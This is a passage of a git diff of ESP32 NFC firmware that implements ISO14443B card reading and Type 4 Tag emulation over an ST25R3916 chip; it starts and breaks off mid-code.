(rlen < 2) return (int)out_pos; + + uint8_t rsw1 = tmp[rlen - 2]; + uint8_t rsw2 = tmp[rlen - 1]; + int data_len = rlen - 2; + if (data_len > 0) { + size_t copy = (out_pos + (size_t)data_len <= rx_max) + ? (size_t)data_len + : (rx_max > out_pos ? (rx_max - out_pos) : 0); + if (copy > 0) { + memcpy(&rx[out_pos], tmp, copy); + out_pos += copy; + } + } + + sw1 = rsw1; + sw2 = rsw2; + if (sw1 != 0x61U) { + break; + } + le = sw2 ? sw2 : 0x00; + } + + if (out_pos + 2 <= rx_max) { + rx[out_pos++] = sw1; + rx[out_pos++] = sw2; + } + return (int)out_pos; + } + + return len; +} + +static hb_nfc_err_t t4t_b_apdu(const nfc_iso14443b_data_t* card, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw) +{ + if (!card || !apdu || apdu_len == 0 || !out) return HB_NFC_ERR_PARAM; + + int len = iso14443b_apdu_transceive(card, apdu, apdu_len, out, out_max, 0); + if (len < 2) return HB_NFC_ERR_PROTOCOL; + + uint16_t status = (uint16_t)((out[len - 2] << 8) | out[len - 1]); + if (sw) *sw = status; + if (out_len) *out_len = (size_t)(len - 2); + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_b_select_ndef_app(const nfc_iso14443b_data_t* card) +{ + static const uint8_t aid[] = { 0xD2, 0x76, 0x00, 0x00, 0x85, 0x01, 0x01 }; + uint8_t apdu[5 + sizeof(aid) + 1]; + size_t pos = 0; + apdu[pos++] = 0x00; + apdu[pos++] = 0xA4; + apdu[pos++] = 0x04; + apdu[pos++] = 0x00; + apdu[pos++] = sizeof(aid); + memcpy(&apdu[pos], aid, sizeof(aid)); + pos += sizeof(aid); + apdu[pos++] = 0x00; + + uint8_t rsp[64] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_b_apdu(card, apdu, pos, rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000 && (sw & 0xFF00U) != 0x6100U) { + ESP_LOGW(TAG, "SELECT NDEF APP failed SW=0x%04X", sw); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_b_select_file(const nfc_iso14443b_data_t* card, uint16_t fid) +{ + uint8_t apdu[7]; + apdu[0] = 0x00; + apdu[1] = 0xA4; + apdu[2] = 0x00; + apdu[3] = 0x0C; + apdu[4] = 0x02; + apdu[5] = (uint8_t)((fid >> 8) & 0xFFU); + apdu[6] = (uint8_t)(fid & 0xFFU); + + uint8_t rsp[32] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_b_apdu(card, apdu, sizeof(apdu), rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000) { + ESP_LOGW(TAG, "SELECT FILE 0x%04X failed SW=0x%04X", fid, sw); + return HB_NFC_ERR_PROTOCOL; + } + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_b_read_binary(const nfc_iso14443b_data_t* card, + uint16_t offset, + uint8_t* out, + size_t out_len) +{ + if (!out || out_len == 0 || out_len > 0xFF) return HB_NFC_ERR_PARAM; + + uint8_t apdu[5]; + apdu[0] = 0x00; + apdu[1] = 0xB0; + apdu[2] = (uint8_t)((offset >> 8) & 0xFFU); + apdu[3] = (uint8_t)(offset & 0xFFU); + apdu[4] = (uint8_t)out_len; + + uint8_t rsp[260] = { 0 }; + size_t rsp_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = t4t_b_apdu(card, apdu, sizeof(apdu), rsp, sizeof(rsp), &rsp_len, &sw); + if (err != HB_NFC_OK) return err; + if (sw != 0x9000) { + ESP_LOGW(TAG, "READ_BINARY failed SW=0x%04X", sw); + return HB_NFC_ERR_PROTOCOL; + } + if (rsp_len < out_len) return HB_NFC_ERR_PROTOCOL; + memcpy(out, rsp, out_len); + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_b_read_cc(const nfc_iso14443b_data_t* card, t4t_cc_t* cc) +{ + if (!card || !cc) return HB_NFC_ERR_PARAM; + memset(cc, 0, sizeof(*cc)); + + hb_nfc_err_t err = t4t_b_select_ndef_app(card); + if (err != HB_NFC_OK) return err; + + err = t4t_b_select_file(card, 0xE103U); + if (err != HB_NFC_OK) return err; + + uint8_t buf[15] = { 0 }; + err = t4t_b_read_binary(card, 0x0000, buf, sizeof(buf)); + if (err != HB_NFC_OK) return err; + + cc->cc_len = (uint16_t)((buf[0] << 8) | buf[1]); + cc->mle = (uint16_t)((buf[3] << 8) | buf[4]); + cc->mlc = (uint16_t)((buf[5] << 8) | buf[6]); + cc->ndef_fid = (uint16_t)((buf[9] << 8) | buf[10]); + cc->ndef_max = (uint16_t)((buf[11] << 8) | buf[12]); + cc->read_access = buf[13]; + cc->write_access = buf[14]; + + ESP_LOGI(TAG, "CC: ndef_fid=0x%04X ndef_max=%u mle=%u mlc=%u", + cc->ndef_fid, cc->ndef_max, cc->mle, cc->mlc); + return HB_NFC_OK; +} + +static hb_nfc_err_t t4t_b_read_ndef(const nfc_iso14443b_data_t* card, + const t4t_cc_t* cc, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!card || !cc || !out || out_max < 2) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = t4t_b_select_ndef_app(card); + if (err != HB_NFC_OK) return err; + + if (cc->read_access != 0x00U) { + ESP_LOGW(TAG, "NDEF read not allowed (access=0x%02X)", cc->read_access); + return HB_NFC_ERR_PROTOCOL; + } + + err = t4t_b_select_file(card, cc->ndef_fid); + if (err != HB_NFC_OK) return err; + + uint8_t len_buf[2] = { 0 }; + err = t4t_b_read_binary(card, 0x0000, len_buf, sizeof(len_buf)); + if (err != HB_NFC_OK) return err; + + uint16_t ndef_len = (uint16_t)((len_buf[0] << 8) | len_buf[1]); + if (ndef_len == 0 || ndef_len > cc->ndef_max) return HB_NFC_ERR_PROTOCOL; + if ((size_t)ndef_len > out_max) return HB_NFC_ERR_PARAM; + + uint16_t offset = 2; + uint16_t remaining = ndef_len; + uint16_t mle = cc->mle ? cc->mle : 0xFFU; + if (mle > 0xFFU) mle = 0xFFU; + + while (remaining > 0) { + uint16_t chunk = remaining; + if (chunk > mle) chunk = mle; + err = t4t_b_read_binary(card, offset, &out[ndef_len - remaining], chunk); + if (err != HB_NFC_OK) return err; + offset += chunk; + remaining -= chunk; + } + + if (out_len) *out_len = ndef_len; + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_poller_init(void) +{ + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_B, + .tx_rate = NFC_RF_BR_106, + .rx_rate = NFC_RF_BR_106, + .am_mod_percent = 10, /* ISO-B uses ~10% ASK */ + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + + if (!st25r_field_is_on()) { + err = st25r_field_on(); + if (err != HB_NFC_OK) return err; + } + + ESP_LOGI(TAG, "NFC-B poller ready (106 kbps)"); + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_reqb(uint8_t afi, uint8_t param, nfc_iso14443b_data_t* out) +{ + if (!out) return HB_NFC_ERR_PARAM; + memset(out, 0, sizeof(*out)); + + uint8_t cmd[3] = { ISO14443B_CMD_REQB, afi, param }; + uint8_t rx[32] = { 0 }; + int len = nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 1, 30); + if (len < 11) { + if (len > 0) nfc_log_hex("ATQB partial:", rx, (size_t)len); + return HB_NFC_ERR_NO_CARD; + } + + /* ATQB: PUPI[4] + APP_DATA[4] + PROT_INFO[3] */ + if (!iso14443b_parse_atqb(rx, len, out)) return HB_NFC_ERR_PROTOCOL; + + ESP_LOGI(TAG, "ATQB: PUPI=%02X%02X%02X%02X", + out->pupi[0], out->pupi[1], out->pupi[2], out->pupi[3]); + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_attrib(const nfc_iso14443b_data_t* card, uint8_t fsdi, uint8_t cid) +{ + if (!card) return HB_NFC_ERR_PARAM; + + /* + * ATTRIB (best-effort defaults): + * [0x1D][PUPI x4][Param1][Param2][Param3][Param4] + * + * Param1: FSDI in upper nibble (reader frame size). + * Other params set to 0 (protocol type 0, no CID/NAD). + */ + uint8_t cmd[1 + 4 + 4] = { 0 }; + cmd[0] = ISO14443B_CMD_ATTRIB; + memcpy(&cmd[1], card->pupi, 4); + cmd[5] = (uint8_t)((fsdi & 0x0FU) << 4); + cmd[6] = 0x00U; + cmd[7] = 0x00U; + cmd[8] = (uint8_t)(cid & 0x0FU); + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_PROTOCOL; + + ESP_LOGI(TAG, "ATTRIB OK"); + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_select(nfc_iso14443b_data_t* out, uint8_t afi, uint8_t param) +{ + hb_nfc_err_t err = iso14443b_reqb(afi, param, out); + if (err != HB_NFC_OK) return err; + return iso14443b_attrib(out, 8, 0); +} + +hb_nfc_err_t iso14443b_read_ndef(uint8_t afi, uint8_t param, + uint8_t* out, size_t out_max, size_t* out_len) +{ + if (!out || out_max < 2) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = iso14443b_poller_init(); + if (err != HB_NFC_OK) return err; + + nfc_iso14443b_data_t card = { 0 }; + err = iso14443b_select(&card, afi, param); + if (err != HB_NFC_OK) return err; + + t4t_cc_t cc = { 0 }; + err = t4t_b_read_cc(&card, &cc); + if (err != HB_NFC_OK) return err; + + return t4t_b_read_ndef(&card, &cc, out, out_max, out_len); +} + +int iso14443b_anticoll(uint8_t afi, uint8_t slots, + iso14443b_anticoll_entry_t* out, size_t max_out) +{ + if (!out || max_out == 0) return 0; + + uint8_t use_slots = (slots >= 16) ? 16 : 1; + uint8_t param = (use_slots == 16) ? 0x08U : 0x00U; /* best-effort: N=16 when bit3 set */ + + uint8_t cmd[3] = { ISO14443B_CMD_REQB, afi, param }; + uint8_t rx[32] = { 0 }; + + int count = 0; + int len = nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 1, 30); + if (len >= 11) { + iso14443b_anticoll_entry_t ent = { 0 }; + if (iso14443b_parse_atqb(rx, len, &ent.card)) { + ent.slot = 0; + out[count++] = ent; + if (count >= (int)max_out) return count; + } + } + + if (use_slots == 16) { + for (uint8_t slot = 1; slot < 16; slot++) { + uint8_t sm = (uint8_t)(slot & 0x0FU); + memset(rx, 0, sizeof(rx)); + len = nfc_poller_transceive(&sm, 1, true, rx, sizeof(rx), 1, 30); + if (len < 11) continue; + + iso14443b_anticoll_entry_t ent = { 0 }; + if (!iso14443b_parse_atqb(rx, len, &ent.card)) continue; + + bool dup = false; + for (int i = 0; i < count; i++) { + if (pupi_equal(&out[i].card, &ent.card)) { dup = true; break; } + } + if (dup) continue; + + ent.slot = slot; + out[count++] = ent; + if (count >= (int)max_out) break; + } + } + + return count; +} diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c new file mode 100644 index 00000000..d4ef25e4 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c @@ -0,0 +1,596 @@ +/** + * @file iso14443b_emu.c + * @brief ISO14443B (NFC-B) target emulation with ISO-DEP/T4T APDUs. + */ +#include "iso14443b_emu.h" + +#include +#include +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include "mf_desfire_emu.h" + +static const char* TAG = "iso14443b_emu"; + +#define MODE_TARGET_NFCB 0x90U +#define OP_CTRL_TARGET 0xC3U + +#define TIMER_I_EON 0x10U + +#define ISO14443B_CMD_REQB 0x05U +#define ISO14443B_CMD_ATTRIB 0x1DU +#define ISO14443B_CMD_HLTB 0x50U + +#define T4T_CC_LEN 15 +#define T4T_NDEF_MAX 128 +#define T4T_FILE_MAX (2 + T4T_NDEF_MAX) +#define T4T_ML 0x0050U /* 80 bytes */ +#define T4T_NDEF_FID 0xE104U +#define T4T_CC_FID 0xE103U + +typedef enum { + ISO14443B_STATE_SLEEP, + ISO14443B_STATE_SENSE, + ISO14443B_STATE_ACTIVE, +} iso14443b_state_t; + +typedef enum { + T4T_FILE_NONE = 0, + T4T_FILE_CC, + T4T_FILE_NDEF, +} t4t_file_t; + +static iso14443b_state_t s_state = ISO14443B_STATE_SLEEP; +static bool s_init_done = false; +static bool s_activated = false; + +static bool s_app_selected = false; +static t4t_file_t s_file = T4T_FILE_NONE; + +static iso14443b_emu_card_t s_card; + +static uint8_t s_cc[T4T_CC_LEN]; +static uint8_t s_ndef_file[T4T_FILE_MAX]; + +static uint8_t s_last_resp[260]; +static int s_last_resp_len = 0; + +static uint8_t s_chain_buf[300]; +static size_t s_chain_len = 0; +static bool s_chain_active = false; +static uint8_t s_pcd_cid = 0; + +static TickType_t s_sense_tick = 0; +static TickType_t s_active_tick = 0; + +static bool wait_oscillator(int timeout_ms) +{ + for (int i = 0; i < timeout_ms; i++) { + uint8_t aux = 0, mi = 0, ti = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_MAIN_INT, &mi); + hb_spi_reg_read(REG_TARGET_INT, &ti); + if (((aux & 0x14) != 0) || ((mi & 0x80) != 0) || ((ti & 0x08) != 0)) { + ESP_LOGI(TAG, "Osc OK in %dms: AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + i, aux, mi, ti); + return true; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Osc timeout - continuing"); + return false; +} + +static void build_cc(void) +{ + /* CC file: 15 bytes */ + s_cc[0] = 0x00; s_cc[1] = 0x0F; /* CCLEN */ + s_cc[2] = 0x20; /* Mapping Version 2.0 */ + s_cc[3] = (uint8_t)((T4T_ML >> 8) & 0xFF); + s_cc[4] = (uint8_t)(T4T_ML & 0xFF); /* MLe */ + s_cc[5] = (uint8_t)((T4T_ML >> 8) & 0xFF); + s_cc[6] = (uint8_t)(T4T_ML & 0xFF); /* MLc */ + s_cc[7] = 0x04; /* NDEF File Control TLV */ + s_cc[8] = 0x06; + s_cc[9] = (uint8_t)((T4T_NDEF_FID >> 8) & 0xFF); + s_cc[10] = (uint8_t)(T4T_NDEF_FID & 0xFF); + s_cc[11] = 0x00; + s_cc[12] = (uint8_t)T4T_NDEF_MAX; /* max size */ + s_cc[13] = 0x00; /* read access */ + s_cc[14] = 0x00; /* write access */ +} + +static void build_ndef_text(const char* text) +{ + memset(s_ndef_file, 0x00, sizeof(s_ndef_file)); + + if (!text) text = "High Boy NFC T4T-B"; + size_t tl = strlen(text); + size_t max_text = (T4T_NDEF_MAX > 7) ? (T4T_NDEF_MAX - 7) : 0; + if (tl > max_text) tl = max_text; + size_t pl = 1 + 2 + tl; /* status + lang(2) + text */ + + size_t pos = 2; + s_ndef_file[pos++] = 0xD1; /* MB/ME/SR + TNF=1 */ + s_ndef_file[pos++] = 0x01; /* type length */ + s_ndef_file[pos++] = (uint8_t)pl; /* payload length */ + s_ndef_file[pos++] = 'T'; + s_ndef_file[pos++] = 0x02; /* UTF-8 + lang len=2 */ + s_ndef_file[pos++] = 'p'; + s_ndef_file[pos++] = 't'; + + memcpy(&s_ndef_file[pos], text, tl); + pos += tl; + + uint16_t nlen = (uint16_t)(pos - 2); + s_ndef_file[0] = (uint8_t)((nlen >> 8) & 0xFF); + s_ndef_file[1] = (uint8_t)(nlen & 0xFF); +} + +hb_nfc_err_t iso14443b_emu_init_default(void) +{ + build_cc(); + build_ndef_text("High Boy NFC T4T-B"); + + /* Default ATQB content */ + s_card.pupi[0] = 0x11; s_card.pupi[1] = 0x22; + s_card.pupi[2] = 0x33; s_card.pupi[3] = 0x44; + memset(s_card.app_data, 0x00, sizeof(s_card.app_data)); + s_card.prot_info[0] = 0x80; /* FSCI=8 (FSC=256), other bits 0 */ + s_card.prot_info[1] = 0x00; + s_card.prot_info[2] = 0x00; + + s_state = ISO14443B_STATE_SLEEP; + s_init_done = true; + s_activated = false; + s_app_selected = false; + s_file = T4T_FILE_NONE; + s_chain_active = false; + s_chain_len = 0; + s_pcd_cid = 0; + s_sense_tick = 0; + s_active_tick = 0; + ESP_LOGI(TAG, "ISO14443B init: NDEF max=%u", (unsigned)T4T_NDEF_MAX); + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_emu_configure_target(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00 || ic == 0xFF) return HB_NFC_ERR_INTERNAL; + + hb_spi_reg_write(REG_IO_CONF2, 0x80); + vTaskDelay(pdMS_TO_TICKS(2)); + + hb_spi_reg_write(REG_OP_CTRL, 0x80); + wait_oscillator(200); + + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCB); + hb_spi_reg_write(REG_AUX_DEF, 0x00); + hb_spi_reg_write(REG_BIT_RATE, 0x00); + hb_spi_reg_write(REG_ISO14443B, 0x00); + hb_spi_reg_write(REG_ISO14443B_FELICA, 0x00); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00); + + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x00); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x00); + hb_spi_reg_write(REG_PT_MOD, 0x60); + + st25r_irq_read(); + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + + ESP_LOGI(TAG, "ISO14443B target configured"); + return HB_NFC_OK; +} + +hb_nfc_err_t iso14443b_emu_start(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + st25r_irq_read(); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_TARGET); + vTaskDelay(pdMS_TO_TICKS(5)); + + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + vTaskDelay(pdMS_TO_TICKS(2)); + + s_state = ISO14443B_STATE_SLEEP; + ESP_LOGI(TAG, "ISO14443B emulation active - present a reader"); + return HB_NFC_OK; +} + +void iso14443b_emu_stop(void) +{ + hb_spi_reg_write(REG_OP_CTRL, 0x00); + s_state = ISO14443B_STATE_SLEEP; + s_init_done = false; + ESP_LOGI(TAG, "ISO14443B emulation stopped"); +} + +static void tx_with_crc(const uint8_t* data, int len) +{ + if (!data || len <= 0) return; + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)len, 0); + st25r_fifo_load(data, (size_t)len); + hb_spi_direct_cmd(CMD_TX_WITH_CRC); +} + +static void send_atqb(void) +{ + uint8_t atqb[11]; + memcpy(&atqb[0], s_card.pupi, 4); + memcpy(&atqb[4], s_card.app_data, 4); + memcpy(&atqb[8], s_card.prot_info, 3); + tx_with_crc(atqb, sizeof(atqb)); +} + +static void send_attrib_ok(void) +{ + uint8_t resp = 0x00; + tx_with_crc(&resp, 1); +} + +static void send_i_block_resp(const uint8_t* inf, int inf_len, uint8_t pcb_in) +{ + uint8_t resp[300]; + int pos = 0; + resp[pos++] = (uint8_t)(0x02U | (pcb_in & 0x01U)); + if (pcb_in & 0x08U) { /* CID present */ + resp[pos++] = s_pcd_cid; + } + if (inf_len > 0 && inf_len < (int)sizeof(resp) - 1) { + memcpy(&resp[pos], inf, (size_t)inf_len); + pos += inf_len; + } + tx_with_crc(resp, pos); + if (pos < (int)sizeof(s_last_resp)) { + memcpy(s_last_resp, resp, (size_t)pos); + s_last_resp_len = pos; + } +} + +static void send_r_ack(uint8_t pcb_in) +{ + uint8_t resp[2]; + int pos = 0; + resp[pos++] = (uint8_t)(0xA2U | (pcb_in & 0x01U)); + if (pcb_in & 0x08U) { + resp[pos++] = s_pcd_cid; + } + tx_with_crc(resp, pos); +} + +static void apdu_resp(uint8_t* out, int* out_len, + const uint8_t* data, int data_len, uint16_t sw) +{ + int pos = 0; + if (data && data_len > 0) { + memcpy(&out[pos], data, (size_t)data_len); + pos += data_len; + } + out[pos++] = (uint8_t)((sw >> 8) & 0xFF); + out[pos++] = (uint8_t)(sw & 0xFF); + *out_len = pos; +} + +static uint16_t file_len(t4t_file_t f) +{ + if (f == T4T_FILE_CC) return T4T_CC_LEN; + if (f == T4T_FILE_NDEF) { + uint16_t nlen = (uint16_t)((s_ndef_file[0] << 8) | s_ndef_file[1]); + if (nlen > T4T_NDEF_MAX) nlen = T4T_NDEF_MAX; + return (uint16_t)(nlen + 2); + } + return 0; +} + +static uint8_t* file_ptr(t4t_file_t f) +{ + if (f == T4T_FILE_CC) return s_cc; + if (f == T4T_FILE_NDEF) return s_ndef_file; + return NULL; +} + +static void handle_apdu(const uint8_t* apdu, int apdu_len, uint8_t pcb_in) +{ + uint8_t resp[260]; + int resp_len = 0; + + if (mf_desfire_emu_handle_apdu(apdu, apdu_len, resp, &resp_len)) { + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (apdu_len < 4) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + uint8_t cla = apdu[0]; + uint8_t ins = apdu[1]; + uint8_t p1 = apdu[2]; + uint8_t p2 = apdu[3]; + (void)cla; + + if (ins == 0xA4) { /* SELECT */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else { + uint8_t lc = apdu[4]; + if (apdu_len < 5 + lc) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (p1 == 0x04 && lc == 7 && + memcmp(&apdu[5], (const uint8_t[]){0xD2,0x76,0x00,0x00,0x85,0x01,0x01}, 7) == 0) { + s_app_selected = true; + s_file = T4T_FILE_NONE; + apdu_resp(resp, &resp_len, NULL, 0, 0x9000); + } else if (p1 == 0x00 && lc == 2) { + uint16_t fid = (uint16_t)((apdu[5] << 8) | apdu[6]); + if (fid == T4T_CC_FID) { s_file = T4T_FILE_CC; apdu_resp(resp, &resp_len, NULL, 0, 0x9000); } + else if (fid == T4T_NDEF_FID) { s_file = T4T_FILE_NDEF; apdu_resp(resp, &resp_len, NULL, 0, 0x9000); } + else { apdu_resp(resp, &resp_len, NULL, 0, 0x6A82); } + } else { + apdu_resp(resp, &resp_len, NULL, 0, 0x6A82); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (ins == 0xB0) { /* READ BINARY */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else if (s_file == T4T_FILE_NONE || !s_app_selected) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6985); + } else { + uint16_t off = (uint16_t)((p1 << 8) | p2); + uint16_t flen = file_len(s_file); + uint8_t le = apdu[4]; + uint16_t max_le = (le == 0) ? 256 : le; + if (max_le > T4T_ML) { + apdu_resp(resp, &resp_len, NULL, 0, (uint16_t)(0x6C00 | (T4T_ML & 0xFF))); + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + if (off >= flen) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6B00); + } else { + uint16_t avail = (uint16_t)(flen - off); + uint16_t rd = (avail < max_le) ? avail : max_le; + uint8_t* fp = file_ptr(s_file); + apdu_resp(resp, &resp_len, &fp[off], rd, 0x9000); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (ins == 0xD6) { /* UPDATE BINARY */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else if (s_file != T4T_FILE_NDEF || !s_app_selected) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6985); + } else { + uint16_t off = (uint16_t)((p1 << 8) | p2); + uint8_t lc = apdu[4]; + if (apdu_len < 5 + lc) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (lc > T4T_ML) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (off + lc > (uint16_t)sizeof(s_ndef_file)) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6B00); + } else { + memcpy(&s_ndef_file[off], &apdu[5], lc); + apdu_resp(resp, &resp_len, NULL, 0, 0x9000); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + apdu_resp(resp, &resp_len, NULL, 0, 0x6A86); + send_i_block_resp(resp, resp_len, pcb_in); +} + +void iso14443b_emu_run_step(void) +{ + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + if (s_state == ISO14443B_STATE_SLEEP) { + bool wake = (timer_irq & TIMER_I_EON) + || (tgt_irq & IRQ_TGT_WU_A) + || (tgt_irq & IRQ_TGT_WU_F); + if (wake) { + ESP_LOGI(TAG, "SLEEP -> SENSE (tgt=0x%02X tmr=0x%02X)", tgt_irq, timer_irq); + s_sense_tick = xTaskGetTickCount(); + s_active_tick = s_sense_tick; + s_state = ISO14443B_STATE_SENSE; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + /* Re-read IRQs after state change (clears stale flags) */ + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + } + return; + } + + if (s_state == ISO14443B_STATE_SENSE) { + static uint32_t s_idle_log = 0; + if (!(main_irq & IRQ_MAIN_FWL)) { + TickType_t now = xTaskGetTickCount(); + if ((now - s_sense_tick) > pdMS_TO_TICKS(500)) { + ESP_LOGI(TAG, "SENSE: idle timeout -> SLEEP"); + s_state = ISO14443B_STATE_SLEEP; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + } + if ((++s_idle_log % 200U) == 0U) { + uint8_t fs1 = 0, aux = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGI(TAG, "[SENSE] main=0x%02X tgt=0x%02X tmr=0x%02X fs1=0x%02X aux=0x%02X", + main_irq, tgt_irq, timer_irq, fs1, aux); + } + return; + } + + uint8_t buf[64] = { 0 }; + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n <= 0) return; + if (n > (int)sizeof(buf)) n = (int)sizeof(buf); + hb_spi_fifo_read(buf, (uint8_t)n); + + if (buf[0] == ISO14443B_CMD_REQB && n >= 3) { + ESP_LOGI(TAG, "REQB"); + send_atqb(); + return; + } + + if (buf[0] == ISO14443B_CMD_ATTRIB && n >= 9) { + if (memcmp(&buf[1], s_card.pupi, 4) != 0) { + ESP_LOGW(TAG, "ATTRIB: PUPI mismatch"); + return; + } + s_pcd_cid = buf[8] & 0x0F; + s_state = ISO14443B_STATE_ACTIVE; + s_activated = true; + s_active_tick = xTaskGetTickCount(); + ESP_LOGI(TAG, "ATTRIB OK (CID=%u)", (unsigned)s_pcd_cid); + send_attrib_ok(); + return; + } + + if (buf[0] == ISO14443B_CMD_HLTB && n >= 5) { + if (memcmp(&buf[1], s_card.pupi, 4) == 0) { + ESP_LOGI(TAG, "HLTB -> SLEEP"); + s_state = ISO14443B_STATE_SLEEP; + s_activated = false; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + } + return; + } + + return; + } + + /* ACTIVE */ + if (!(main_irq & IRQ_MAIN_FWL)) goto idle_active; + + uint8_t buf[300] = { 0 }; + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n <= 0) return; + if (n > (int)sizeof(buf)) n = (int)sizeof(buf); + hb_spi_fifo_read(buf, (uint8_t)n); + int len = n; + + if (len <= 0) return; + + if (!s_activated) return; + + uint8_t pcb = buf[0]; + if ((pcb & 0xC0U) == 0x80U) { + if (s_last_resp_len > 0) { + tx_with_crc(s_last_resp, s_last_resp_len); + } + return; + } + + if ((pcb & 0xC0U) != 0x00U) { + return; + } + + bool chaining = (pcb & 0x10U) != 0U; + int idx = 1; + if (pcb & 0x08U) { /* CID present */ + s_pcd_cid = buf[idx]; + idx++; + } + if (pcb & 0x04U) { /* NAD present */ + idx++; + } + if (idx > len) return; + const uint8_t* inf = &buf[idx]; + int inf_len = len - idx; + + if (chaining) { + if (!s_chain_active) { + s_chain_active = true; + s_chain_len = 0; + } + if (s_chain_len + (size_t)inf_len < sizeof(s_chain_buf)) { + memcpy(&s_chain_buf[s_chain_len], inf, (size_t)inf_len); + s_chain_len += (size_t)inf_len; + } + send_r_ack(pcb); + return; + } + + if (s_chain_active) { + if (s_chain_len + (size_t)inf_len < sizeof(s_chain_buf)) { + 